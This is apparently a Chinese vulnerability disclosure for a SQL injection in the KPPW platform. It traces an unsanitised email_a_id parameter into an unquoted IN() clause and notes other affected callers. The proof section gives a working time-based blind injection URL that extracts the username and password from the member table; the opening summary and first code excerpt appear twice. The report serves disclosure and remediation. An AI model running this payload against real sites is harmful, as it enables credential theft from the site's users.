### 简要描述： KPPW最新版SQL注入漏洞九，也是全局问题导致的大面积注入，这里申明不是在刷漏洞，因为每一个问题都很严重，都能引发很多问题... ### 详细说明： KPPW最新版SQL注入漏洞九，也是全局函数的问题，导致大面积注入... 文件/control/user/account_auth.php ``` if ($code&&in_array($code,$arrAllowAuth)) { $code or $code = $keys ['0']; $code or kekezu::show_msg ( $_lang ['param_error'], "index.php?do=auth", 3, '', 'warning' ); $auth_class = "keke_auth_" . $code . "_class"; $objAuth = new $auth_class ( $code ); $auth_item = $arrAllAuthItems [$code]; $auth_dir = $auth_item ['auth_dir']; $arrAuthInfo = $objAuth->get_user_auth_info ( $gUid, 0, $intBankAid ); require S_ROOT . "/auth/$code/control/index.php"; require keke_tpl_class::template ( 'auth/' . $code . '/tpl/' . $_K ['template'] . '/'.$step ); die; } else { $real_pass = keke_auth_fac_class::auth_check ( 'enterprise', $gUid ) or $real_pass = keke_auth_fac_class::auth_check ( "realname", $gUid ); $arrHasAuthItem = keke_auth_fac_class::get_auth ( $gUserInfo ); $arrUserAuthInfo = $arrHasAuthItem ['info']; } ```...
### 简要描述： KPPW最新版SQL注入漏洞九，也是全局问题导致的大面积注入，这里申明不是在刷漏洞，因为每一个问题都很严重，都能引发很多问题... ### 详细说明： KPPW最新版SQL注入漏洞九，也是全局函数的问题，导致大面积注入... 文件/control/user/account_auth.php ``` if ($code&&in_array($code,$arrAllowAuth)) { $code or $code = $keys ['0']; $code or kekezu::show_msg ( $_lang ['param_error'], "index.php?do=auth", 3, '', 'warning' ); $auth_class = "keke_auth_" . $code . "_class"; $objAuth = new $auth_class ( $code ); $auth_item = $arrAllAuthItems [$code]; $auth_dir = $auth_item ['auth_dir']; $arrAuthInfo = $objAuth->get_user_auth_info ( $gUid, 0, $intBankAid ); require S_ROOT . "/auth/$code/control/index.php"; require keke_tpl_class::template ( 'auth/' . $code . '/tpl/' . $_K ['template'] . '/'.$step ); die; } else { $real_pass = keke_auth_fac_class::auth_check ( 'enterprise', $gUid ) or $real_pass = keke_auth_fac_class::auth_check ( "realname", $gUid ); $arrHasAuthItem = keke_auth_fac_class::get_auth ( $gUserInfo ); $arrUserAuthInfo = $arrHasAuthItem ['info']; } ``` 这里包含了/auth/$code/control/index.php文件，这里的code我们设置为email 当然code有('realname','enterprise','bank','mobile','email')这五中形式 进入/auth/email/control/index.php文件： ``` case "step3": if($email_a_id&&$ac=='check_email'){ $boolAuthRes = $objAuth->audit_auth($active_code,$email_a_id); header('location:index.php?do=user&view=account&op=auth&code=email'); } if($arrAuthInfo['auth_status']==1){ $auth_tips ='已通过'; $auth_style = 'success'; }elseif($arrAuthInfo['auth_status']==2){ $auth_tips ='未通过'; $auth_style = 'warning'; } break; ``` 第三步验证时，$active_code和$email_a_id参数进入验证函数audit_auth 跟进，文件/auth/email/lib/keke_auth_email_class.php ``` public function audit_auth($active_code,$email_a_id){ global $_K, $kekezu,$_lang; $user_info=$kekezu->_userinfo; if(md5($user_info['uid'].$user_info['username'].$user_info['email'])==$active_code){ $arrAuthInfo=$this->get_auth_info($email_a_id); if(empty($arrAuthInfo[0])){ return false; } ``` 这里参数$email_a_id又进入函数get_auth_info 跟进，文件/lib/sys/keke_auth_base_class.php ``` public function get_auth_info($auth_ids){ if(isset($auth_ids)){ if(!stristr($auth_ids,',')) { return db_factory::query(sprintf(" select * from %s where %s = '%s'",TABLEPRE.$this->_auth_table_name,$this->_primary_key,$auth_ids)); }else{ return db_factory::query(sprintf(" select * from %s where %s in (%s) ",TABLEPRE.$this->_auth_table_name,$this->_primary_key,$auth_ids)); } }else{ return array(); } } ``` 到这里，参数$auth_ids = $email_a_id，进入了sql语句 但是当$auth_ids有逗号分隔的话，就进入下面那一条语句in ($auth_ids),在整个参数传递的过程中$auth_ids没有过滤，这里也没有加引号保护，导致注入。 下面我们来看看任何导致大面积注入 问题出在get_auth_info函数，位于文件/lib/sys/keke_auth_base_class.php lib下面的文件都是系统的全局调用文件，这里的keke_auth_base_class.php也是一样，在所有关于认证的功能里面都会调用，如下面四个文件： ``` /auth/email/lib/keke_auth_email_class.php /lib/sys/keke_auth_base_class.php /lib/sys/keke_auth_base_class.php /lib/sys/keke_auth_base_class.php ``` 前面两个就是我们这里的漏洞分析，看看下面连个。 ``` public function del_auth($auth_ids,$url=null) { global $_lang; $url ="index.php?do=auth&view=list&code=".$this->_auth_code; is_array($auth_ids) and $ids=implode(",",$auth_ids) or $ids=$auth_ids; $auth_info=$this->get_auth_info($ids); ``` 以及 ``` public function review_auth($auth_ids,$type='pass',$url=null){ global $_lang; global $kekezu; if($url===null){ $url = $_SERVER['HTTP_REFERER']; } $prom_obj = keke_prom_class::get_instance (); is_array($auth_ids) and $auth_ids=implode(",",$auth_ids); $auth_info=$this->get_auth_info($auth_ids); $size=sizeof($auth_info); ``` 这里是在del_auth和review_auth函数处调用了漏洞函数get_auth_info 而且进入这两个函数的参数都是没有处理的，最后都直接进入了sql语句，导致sql注入 而且del_auth函数在认证过程中被调用的地方是21处... review_auth函数在认证过程中被调用的地方是17处... 所以罪魁祸首get_auth_info函数，可以引发大面积的sql注入问题。 总结 ``` 在对kppw的系统进行审核过程中发现，只要是在进入sql语句时，如：in (变量)，这样的sql语句时，大部分是没有出来这里的变量的，都存在注入问题，请厂商好好排查这样的点 ``` ### 漏洞证明： 邮件认证时，发送邮件： [<img src="https://images.seebug.org/upload/201412/121057518ac678af968bd9f0166e60188551ffbf.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/121057518ac678af968bd9f0166e60188551ffbf.png) 成功发送认证邮件后，看看邮箱收到的认证链接： [<img src="https://images.seebug.org/upload/201412/12105811df26579ba9e9dc5839d24aa8bba29163.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/12105811df26579ba9e9dc5839d24aa8bba29163.png) 然后copy认证链接，构造参数email_a_id，注意这里的id后面的一个必须存在的id，如这里的2，构造后请求为： ``` http://localhost/KPPW2520141118UTF-8/index.php?do=user&view=account&op=auth&code=email&email_a_id=111111,2)+and+1=if(mid((select+concat(username,password)+from+keke_witkey_member+limit+0,1),1,1)=char(97),sleep(5),2)%23&ac=check_email&step=step3&ver=1&active_code=336f044bb5fbdc73ea5617330c715cfc ``` 这里会演示5秒后返回： [<img src="https://images.seebug.org/upload/201412/12110047bbaaa461a74b6111a5e6987485c55bc1.png" alt="3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/12110047bbaaa461a74b6111a5e6987485c55bc1.png) 说明这里username+passw的第一个字符为a，继续即可注入出username+password的值 sql执行日志： [<img src="https://images.seebug.org/upload/201412/12110222849b711381550f56039e33e8411b5af4.png" alt="4.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/12110222849b711381550f56039e33e8411b5af4.png)
